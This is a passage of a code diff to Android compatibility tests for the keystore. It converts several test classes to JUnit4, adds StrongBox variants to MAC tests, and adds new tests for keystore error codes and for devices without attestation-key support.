         testGenerate_EC_ModernSpec_UsableForTLSPeerAuthHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -1196,6 +1243,7 @@
         assertKeyPairAndCertificateUsableForTLSPeerAuthentication(TEST_ALIAS_1);
     }
 
+    @Test
     public void testGenerate_RSA_ModernSpec_UsableForTLSPeerAuth() throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
@@ -1240,6 +1288,7 @@
     // currently be tested here because CTS does not require that secure lock screen is set up and
     // that at least one fingerprint is enrolled.
 
+    @Test
     public void testGenerate_EC_ModernSpec_KeyNotYetValid() throws Exception {
         testGenerate_EC_ModernSpec_KeyNotYetValidHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -1272,6 +1321,7 @@
         assertEquals(validityStart, keyInfo.getKeyValidityStart());
     }
 
+    @Test
     public void testGenerate_RSA_ModernSpec_KeyExpiredForOrigination() throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         Date originationEnd = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
@@ -1297,6 +1347,7 @@
         assertEquals(originationEnd, keyInfo.getKeyValidityForOriginationEnd());
     }
 
+    @Test
     public void testGenerate_EC_ModernSpec_SupportedSizes() throws Exception {
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(224, ECCurves.NIST_P_224_SPEC);
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(256, ECCurves.NIST_P_256_SPEC);
@@ -1308,6 +1359,7 @@
     }
 
     //TODO: Fix b/113108008 so this test will pass for strongbox.
+    @Test
     public void testGenerate_EC_ModernSpec_UnsupportedSizesRejected() throws Exception {
         for (int keySizeBits = 0; keySizeBits <= 1024; keySizeBits++) {
             testGenerate_EC_ModernSpec_UnsupportedSizesRejectedHelper(false, keySizeBits);
@@ -1346,6 +1398,7 @@
         }
     }
 
+    @Test
     public void testGenerate_EC_ModernSpec_SupportedNamedCurves() throws Exception {
         assertKeyGenUsingECNamedCurveSupported("P-224", ECCurves.NIST_P_224_SPEC);
         assertKeyGenUsingECNamedCurveSupported("p-224", ECCurves.NIST_P_224_SPEC);
@@ -1379,6 +1432,7 @@
         assertKeyGenUsingECNamedCurveSupported("SECP521R1", ECCurves.NIST_P_521_SPEC);
     }
 
+    @Test
     public void testGenerate_RSA_ModernSpec_SupportedSizes() throws Exception {
         assertKeyGenUsingRSASizeOnlySupported(512);
         assertKeyGenUsingRSASizeOnlySupported(768);
@@ -1396,6 +1450,7 @@
                 2048, RSAKeyGenParameterSpec.F0));
     }
 
+    @Test
     public void testGenerate_RSA_IndCpaEnforced() throws Exception {
         testGenerate_RSA_IndCpaEnforcedHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -1435,6 +1490,7 @@
                         .build());
     }
 
+    @Test
     public void testGenerate_EC_IndCpaEnforced() throws Exception {
         testGenerate_EC_IndCpaEnforcedHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -1467,6 +1523,7 @@
     }
 
     // http://b/28384942
+    @Test
     public void testGenerateWithFarsiLocale() throws Exception {
         testGenerateWithFarsiLocaleHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
index 22c5a17..44996c4 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
@@ -16,18 +16,31 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.security.GateKeeper;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.MoreAsserts;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import junit.framework.TestCase;
 
 import java.util.Arrays;
 import java.util.Date;
 
-public class KeyProtectionTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class KeyProtectionTest {
+    @Test
     public void testDefaults() {
         // Set only the mandatory parameters and assert values returned by getters.
 
@@ -56,6 +69,7 @@
         assertEquals(spec.isStrongBoxBacked(), false);
     }
 
+    @Test
     public void testSettersReflectedInGetters() {
         // Set all parameters to non-default values and then assert that getters reflect that.
 
@@ -110,6 +124,7 @@
         assertEquals(spec.isStrongBoxBacked(), true);
     }
 
+    @Test
     public void testSetKeyValidityEndDateAppliesToBothEndDates() {
         Date date = new Date(System.currentTimeMillis() + 555555);
         KeyProtection spec = new KeyProtection.Builder(
@@ -120,6 +135,7 @@
         assertEquals(date, spec.getKeyValidityForConsumptionEnd());
     }
 
+    @Test
     public void testSetUserAuthenticationValidityDurationSecondsValidityCheck() {
         KeyProtection.Builder builder = new KeyProtection.Builder(0);
         try {
@@ -148,6 +164,7 @@
         } catch (IllegalArgumentException expected) {}
     }
 
+    @Test
     public void testImmutabilityViaSetterParams() {
         // Assert that all mutable parameters provided to setters are copied to ensure that values
         // returned by getters never change.
@@ -219,6 +236,7 @@
                 Arrays.asList(spec.getSignaturePaddings()));
     }
 
+    @Test
     public void testImmutabilityViaGetterReturnValues() {
         // Assert that none of the mutable return values from getters modify the state of the spec.
 
@@ -272,6 +290,7 @@
                 Arrays.asList(spec.getSignaturePaddings()));
     }
 
+    @Test
     public void testIllegalMaxUsageCountNotPermitted() {
         try {
             new KeyProtection.Builder(KeyProperties.PURPOSE_ENCRYPT).setMaxUsageCount(0);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyStoreExceptionTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyStoreExceptionTest.java
new file mode 100644
index 0000000..a87e8f97
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyStoreExceptionTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.security.KeyStoreException;
+import android.security.keymaster.KeymasterDefs;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+
+@RunWith(AndroidJUnit4.class)
+public class KeyStoreExceptionTest {
+    @Test
+    public void testAllKeymasterDefsAreCovered() throws IllegalAccessException {
+        ImmutableList<Field> kmErrors = getKeymasterDefsFields();
+        assertTrue("Test bug: there should be errors to look up",
+                kmErrors.size() > 0);
+
+        for (Field f : kmErrors) {
+            assertTrue(String.format("Missing entry for field %s", f.getName()),
+                    KeyStoreException.hasFailureInfoForError(f.getInt(null)));
+        }
+    }
+
+    @Test
+    public void testSystemErrorFlaggedCorrectly() {
+        final int[] someSystemErrors = {-4, -6, -7, -9, -28, -64, -66, -67, -72, -1000, 3, 4};
+        for (int i : someSystemErrors) {
+            KeyStoreException systemEx = new KeyStoreException(i, null);
+            assertTrue("Error code " + i + " is not correctly marked as system error.",
+                    systemEx.isSystemError());
+        }
+
+        final int[] someNonSystemErrors = {-3, -5, -8, -11, -29, 6};
+        for (int i : someNonSystemErrors) {
+            KeyStoreException nonSystemEx = new KeyStoreException(i, null);
+            assertFalse("Error code " + i + " is incorrectly marked as system error.",
+                    nonSystemEx.isSystemError());
+        }
+    }
+
+    @Test
+    public void testRequiresUserAuthenticationFlaggedCorrectly() {
+        final int[] errorsRequiringAuthentication = {-26, -72, 2};
+
+        for (int i : errorsRequiringAuthentication) {
+            KeyStoreException ex = new KeyStoreException(i, null);
+            assertTrue("Error code " + i + " is not correctly marked as requiring user auth.",
+                    ex.requiresUserAuthentication());
+        }
+
+        KeyStoreException regularEx = new KeyStoreException(6 /* permission denied */, null);
+        assertFalse(regularEx.requiresUserAuthentication());
+    }
+
+    public static ImmutableList<Field> getKeymasterDefsFields() {
+        ImmutableList.Builder<Field> errorFieldsBuilder = new ImmutableList.Builder<>();
+
+        Class kmDefsClass = KeymasterDefs.class;
+        for (Field f : kmDefsClass.getDeclaredFields()) {
+            if (f.getName().startsWith("KM_ERROR") && f.getType().equals(int.class)) {
+                errorFieldsBuilder.add(f);
+            }
+        }
+
+        return errorFieldsBuilder.build();
+    }
+
+    @Test
+    public void testRkpFailureServerUnavailable() {
+        KeyStoreException ex = new KeyStoreException(22, "RKP failure",
+                1 /* temporarily unavailable */);
+        assertEquals("Error must indicate key exhaustion",
+                KeyStoreException.ERROR_ATTESTATION_KEYS_UNAVAILABLE,
+                ex.getNumericErrorCode());
+        assertTrue("Must indicate a system issue",
+                ex.isSystemError());
+        assertTrue("Must indicate a transient failure",
+                ex.isTransientFailure());
+        assertEquals("Retry policy must be exponential back-off",
+                KeyStoreException.RETRY_WITH_EXPONENTIAL_BACKOFF,
+                ex.getRetryPolicy());
+    }
+
+    @Test
+    public void testRkpFailurePendingConnectivity() {
+        KeyStoreException ex = new KeyStoreException(22, "RKP failure",
+                3 /* fetching pending connectivity */);
+        assertEquals("Error must indicate key exhaustion",
+                KeyStoreException.ERROR_ATTESTATION_KEYS_UNAVAILABLE,
+                ex.getNumericErrorCode());
+        assertTrue("Must indicate a system issue",
+                ex.isSystemError());
+        assertTrue("Must indicate a transient failure",
+                ex.isTransientFailure());
+        assertEquals("Retry policy must be when connectivity is resumed",
+                KeyStoreException.RETRY_WHEN_CONNECTIVITY_AVAILABLE,
+                ex.getRetryPolicy());
+    }
+
+    @Test
+    public void testRkpFailureDeviceNotRegistered() {
+        KeyStoreException ex = new KeyStoreException(22, "RKP failure",
+                2 /* server refused issuance */);
+        assertEquals("Error must indicate key exhaustion",
+                KeyStoreException.ERROR_ATTESTATION_KEYS_UNAVAILABLE,
+                ex.getNumericErrorCode());
+        assertTrue("Must indicate a system issue",
+                ex.isSystemError());
+        assertFalse("Must indicate a permanent failure",
+                ex.isTransientFailure());
+        assertEquals("Retry policy must be never",
+                KeyStoreException.RETRY_NEVER,
+                ex.getRetryPolicy());
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java
index 383e483..0186cff 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyStoreTest.java
@@ -16,6 +16,14 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -59,7 +67,9 @@
 import libcore.java.security.StandardNames;
 import libcore.java.security.TestKeyStore;
 
-public class KeyStoreTest extends TestCase {
+import org.junit.Test;
+
+public class KeyStoreTest {
 
     private static final HashMap<String, PrivateKeyEntry> sPrivateKeys
             = new HashMap<String, PrivateKeyEntry>();
@@ -439,6 +449,7 @@
                      Arrays.asList(actual));
     }
 
+    @Test
     public void test_KeyStore_create() throws Exception {
         Provider[] providers = Security.getProviders();
         for (Provider provider : providers) {
@@ -456,6 +467,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getInstance() throws Exception {
         String type = KeyStore.getDefaultType();
         try {
@@ -507,6 +519,7 @@
         assertNotNull(KeyStore.getInstance(type, provider));
     }
 
+    @Test
     public void test_KeyStore_getDefaultType() throws Exception {
         String type = KeyStore.getDefaultType();
         assertNotNull(type);
@@ -515,6 +528,7 @@
         assertEquals(type, ks.getType());
     }
 
+    @Test
     public void test_KeyStore_getProvider() throws Exception {
         KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType());
         assertNotNull(ks.getProvider());
@@ -525,6 +539,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getType() throws Exception {
         String type = KeyStore.getDefaultType();
         KeyStore ks = KeyStore.getInstance(type);
@@ -536,6 +551,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getKey() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -661,6 +677,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getCertificateChain() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -702,6 +719,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getCertificate() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -743,6 +761,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getCreationDate() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -791,6 +810,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_setKeyEntry_Key() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1000,6 +1020,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_setKeyEntry_array() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1154,6 +1175,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_setCertificateEntry() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1265,6 +1287,7 @@
             }
         }
     }
+    @Test
     public void test_KeyStore_deleteEntry() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1377,6 +1400,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_aliases() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1430,6 +1454,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_containsAlias() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1477,6 +1502,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_size() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1527,6 +1553,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_isKeyEntry() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1573,6 +1600,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_isCertificateEntry() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1622,6 +1650,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getCertificateAlias() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1695,6 +1724,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_store_OutputStream() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1790,6 +1820,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_store_LoadStoreParameter() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1813,6 +1844,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_load_InputStream() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             keyStore.load(null, null);
@@ -1846,6 +1878,7 @@
         // test_KeyStore_store_OutputStream effectively tests load as well as store
     }
 
+    @Test
     public void test_KeyStore_load_LoadStoreParameter() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             keyStore.load(null);
@@ -1873,6 +1906,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_getEntry() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -1997,6 +2031,7 @@
     public static class FakeProtectionParameter implements ProtectionParameter {
     }
 
+    @Test
     public void test_KeyStore_setEntry() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             keyStore.load(null, null);
@@ -2282,6 +2317,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_entryInstanceOf() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             try {
@@ -2384,6 +2420,7 @@
     }
 
     // TODO(27810271): investigate why this is taking too long for armeabi-v7a
+    @Test
     public void test_KeyStore_Builder() throws Exception {
         for (KeyStore keyStore : keyStores()) {
             keyStore.load(null, null);
@@ -2490,6 +2527,7 @@
         }
     }
 
+    @Test
     public void test_KeyStore_cacerts() throws Exception {
         if (StandardNames.IS_RI) {
             return;
@@ -2528,6 +2566,7 @@
     }
 
     // http://b/857840: want JKS key store
+    @Test
     public void testDefaultKeystore() {
         String type = KeyStore.getDefaultType();
         assertEquals(StandardNames.KEY_STORE_ALGORITHM, type);
diff --git a/tests/tests/keystore/src/android/keystore/cts/MacTest.java b/tests/tests/keystore/src/android/keystore/cts/MacTest.java
index c41dcda..3e0699d43 100644
--- a/tests/tests/keystore/src/android/keystore/cts/MacTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/MacTest.java
@@ -16,9 +16,16 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
+
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import junit.framework.TestCase;
 
 import java.security.InvalidKeyException;
@@ -38,14 +45,27 @@
 import javax.crypto.SecretKey;
 import javax.crypto.spec.SecretKeySpec;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Tests for algorithm-agnostic functionality of MAC implementations backed by Android Keystore.
  */
-public class MacTest extends TestCase {
+ @RunWith(AndroidJUnit4.class)
+public class MacTest {
+
+    /**
+     * Override to test Strongbox.
+     * @return false
+     */
+    protected boolean isStrongbox() {
+        return false;
+    }
 
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_CRYPTO_OP_PROVIDER_NAME;
 
-    private static final String[] EXPECTED_ALGORITHMS = {
+    private static final String[] EXPECTED_ALGORITHMS_TEE = {
         "HmacSHA1",
         "HmacSHA224",
         "HmacSHA256",
@@ -53,6 +73,25 @@
         "HmacSHA512",
     };
 
+    private static final String[] EXPECTED_ALGORITHMS_STRONGBOX = {
+        "HmacSHA256",
+    };
+
+    private String[] expectedAlgorithms() {
+        if (isStrongbox()) {
+            return EXPECTED_ALGORITHMS_STRONGBOX;
+        } else {
+            return EXPECTED_ALGORITHMS_TEE;
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        if (isStrongbox()) {
+            TestUtils.assumeStrongBox();
+        }
+    }
+
     private static final byte[] KAT_KEY = HexEncoding.decode(
             "227b212bebd775493929ef626729a587d3f81b8e18a3ed482d403910e184479b448cfa79b62bd90595efdd"
             + "15f87bd7b2d2dac480c61e969ba90a7b8ceadd3284");
@@ -182,6 +221,7 @@
 
     private static final long DAY_IN_MILLIS = TestUtils.DAY_IN_MILLIS;
 
+    @Test
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected MAC algorithms. We
         // don't care whether the algorithms are exposed via aliases, as long as the canonical names
@@ -190,11 +230,16 @@
         // expose at least one Service for such an algorithm, and this Service's algorithm will
         // not be in the expected set.
 
+        // Strongbox does not support HASH functions other than SHA256. But AndroidKeyStore
+        // exposes all hash functions that TEE would support. So this test would always fail
+        // on Strongbox.
+        if (isStrongbox()) return;
+
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         Set<Service> services = provider.getServices();
         Set<String> actualAlgsLowerCase = new HashSet<String>();
         Set<String> expectedAlgsLowerCase = new HashSet<String>(
-                Arrays.asList(TestUtils.toLowerCase(EXPECTED_ALGORITHMS)));
+                Arrays.asList(TestUtils.toLowerCase(expectedAlgorithms())));
         for (Service service : services) {
             if ("Mac".equalsIgnoreCase(service.getType())) {
                 String algLowerCase = service.getAlgorithm().toLowerCase(Locale.US);
@@ -206,10 +251,11 @@
                 expectedAlgsLowerCase.toArray(new String[0]));
     }
 
+    @Test
     public void testAndroidKeyStoreKeysHandledByAndroidKeyStoreProvider() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 SecretKey key = importDefaultKatKey(algorithm);
 
@@ -223,10 +269,11 @@
         }
     }
 
+    @Test
     public void testMacGeneratedForEmptyMessage() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 SecretKey key = importDefaultKatKey(algorithm);
 
@@ -244,10 +291,11 @@
         }
     }
 
+    @Test
     public void testMacGeneratedByAndroidKeyStoreVerifiesByAndroidKeyStore() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 SecretKey key = importDefaultKatKey(algorithm);
 
@@ -264,11 +312,12 @@
         }
     }
 
+    @Test
     public void testMacGeneratedByAndroidKeyStoreVerifiesByHighestPriorityProvider()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 SecretKey key = getDefaultKatKey(algorithm);
                 SecretKey keystoreKey = importDefaultKatKey(algorithm);
@@ -286,11 +335,12 @@
         }
     }
 
+    @Test
     public void testMacGeneratedByHighestPriorityProviderVerifiesByAndroidKeyStore()
             throws Exception {
         Provider keystoreProvider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(keystoreProvider);
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             Provider signingProvider = null;
             try {
                 SecretKey key = getDefaultKatKey(algorithm);
@@ -312,10 +362,11 @@
         }
     }
 
+    @Test
     public void testSmallMsgKat() throws Exception {
         byte[] message = SHORT_MSG_KAT_MESSAGE;
 
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             for (KatVector testVector : SHORT_MSG_KAT_MACS.get(algorithm)) {
                 byte[] keyBytes = testVector.key;
                 try {
@@ -347,10 +398,11 @@
         }
     }
 
+    @Test
     public void testLargeMsgKat() throws Exception {
         byte[] message = TestUtils.generateLargeKatMsg(LONG_MSG_KAT_SEED, LONG_MSG_KAT_SIZE_BYTES);
 
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 SecretKey key = importDefaultKatKey(algorithm);
 
@@ -367,11 +419,12 @@
         }
     }
 
+    @Test
     public void testInitFailsWhenNotAuthorizedToSign() throws Exception {
         int badPurposes = KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT
                 | KeyProperties.PURPOSE_VERIFY;
 
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 KeyProtection good = getWorkingImportParams(algorithm);
                 assertInitSucceeds(algorithm, good);
@@ -383,23 +436,34 @@
         }
     }
 
+    @Test
     public void testInitFailsWhenDigestNotAuthorized() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
-            try {
-                KeyProtection good = getWorkingImportParams(algorithm);
-                assertInitSucceeds(algorithm, good);
+        // TEE algorithms are used here even if Strongbox is tested because
+        // the outer loop iterates through algorithms that are not to be supported
+        // by the imported key. This may include algorithms that are not even supported
+        // the implementation itself. Also Strongbox only supports a single algorithm,
+        // so the test below would test an empty set if expectedAlgorithms() was used
+        // for outer loop.
+        for (String badRequestedAlgorithm: EXPECTED_ALGORITHMS_TEE) {
+            for (String algorithm : expectedAlgorithms()) {
+                if (badRequestedAlgorithm.equals(algorithm)) {
+                    continue;
+                }
+                try {
+                    KeyProtection good = getWorkingImportParams(algorithm);
+                    assertInitSucceeds(algorithm, good);
 
-                String badKeyAlgorithm = ("HmacSHA256".equalsIgnoreCase(algorithm))
-                        ? "HmacSHA384" : "HmacSHA256";
-                assertInitThrowsInvalidKeyException(algorithm, badKeyAlgorithm, good);
-            } catch (Throwable e) {
-                throw new RuntimeException("Failed for " + algorithm, e);
+                    assertInitThrowsInvalidKeyException(badRequestedAlgorithm, algorithm, good);
+                } catch (Throwable e) {
+                    throw new RuntimeException("Failed for " + algorithm, e);
+                }
             }
         }
     }
 
+    @Test
     public void testInitFailsWhenKeyNotYetValid() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 KeyProtection good = TestUtils.buildUpon(getWorkingImportParams(algorithm))
                         .setKeyValidityStart(new Date(System.currentTimeMillis() - DAY_IN_MILLIS))
@@ -415,8 +479,9 @@
         }
     }
 
+    @Test
     public void testInitFailsWhenKeyNoLongerValidForOrigination() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 KeyProtection good = TestUtils.buildUpon(getWorkingImportParams(algorithm))
                         .setKeyValidityForOriginationEnd(
@@ -435,12 +500,14 @@
         }
     }
 
+    @Test
     public void testInitIgnoresThatKeyNoLongerValidForConsumption() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm : expectedAlgorithms()) {
             try {
                 KeyProtection good = TestUtils.buildUpon(getWorkingImportParams(algorithm))
                         .setKeyValidityForConsumptionEnd(
                                 new Date(System.currentTimeMillis() + DAY_IN_MILLIS))
+                        .setIsStrongBoxBacked(isStrongbox())
                         .build();
                 assertInitSucceeds(algorithm, good);
 
@@ -588,9 +655,9 @@
                 keyProtection).getKeystoreBackedSecretKey();
     }
 
-    private static KeyProtection getWorkingImportParams(
+    private KeyProtection getWorkingImportParams(
             @SuppressWarnings("unused") String algorithm) {
-        return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN).build();
+        return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN).setIsStrongBoxBacked(isStrongbox()).build();
     }
 
     private static class KatVector {
diff --git a/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
new file mode 100644
index 0000000..3452d8e
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import static android.security.keystore.KeyProperties.KEY_ALGORITHM_EC;
+import static android.security.keystore.KeyProperties.PURPOSE_ATTEST_KEY;
+import static android.security.keystore.KeyProperties.PURPOSE_SIGN;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+
+import android.content.pm.PackageManager;
+import android.security.keystore.KeyGenParameterSpec;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.security.InvalidAlgorithmParameterException;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.cert.Certificate;
+import java.util.ArrayList;
+
+public class NoAttestKeyTest {
+    private KeyStore mKeyStore;
+    private ArrayList<String> mAliasesToDelete = new ArrayList();
+
+    @Before
+    public void setUp() throws Exception {
+        mKeyStore = KeyStore.getInstance("AndroidKeyStore");
+        mKeyStore.load(null);
+
+        // Assume no attest key support for all tests in this class.
+        assumeNoAttestKey();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        for (String alias : mAliasesToDelete) {
+            try {
+                mKeyStore.deleteEntry(alias);
+            } catch (Throwable t) {
+                // Ignore any exception and delete the other aliases in the list.
+            }
+        }
+    }
+
+    @Test
+    public void testEcAttestKeyFail() throws Exception {
+        final String attestKeyAlias = "attestKey";
+        final String attestedKeyAlias = "attestedKey";
+
+        // The device does not have the attest key feature, so attempting to create and use a
+        // key with ATTEST_KEY purpose should fail.
+        try {
+            Certificate attestKeyCertChain[] = generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestKeyAlias, PURPOSE_ATTEST_KEY)
+                            .setAttestationChallenge("challenge".getBytes())
+                            .build());
+            Certificate attestedKeyCertChain[] = generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                            .setAttestationChallenge("challenge".getBytes())
+                            .setAttestKeyAlias(attestKeyAlias)
+                            .build());
+            fail("Expected that use of PURPOSE_ATTEST_KEY should fail, as the "
+                    + PackageManager.FEATURE_KEYSTORE_APP_ATTEST_KEY
+                    + " feature is not advertized by the device");
+        } catch (InvalidAlgorithmParameterException e) {
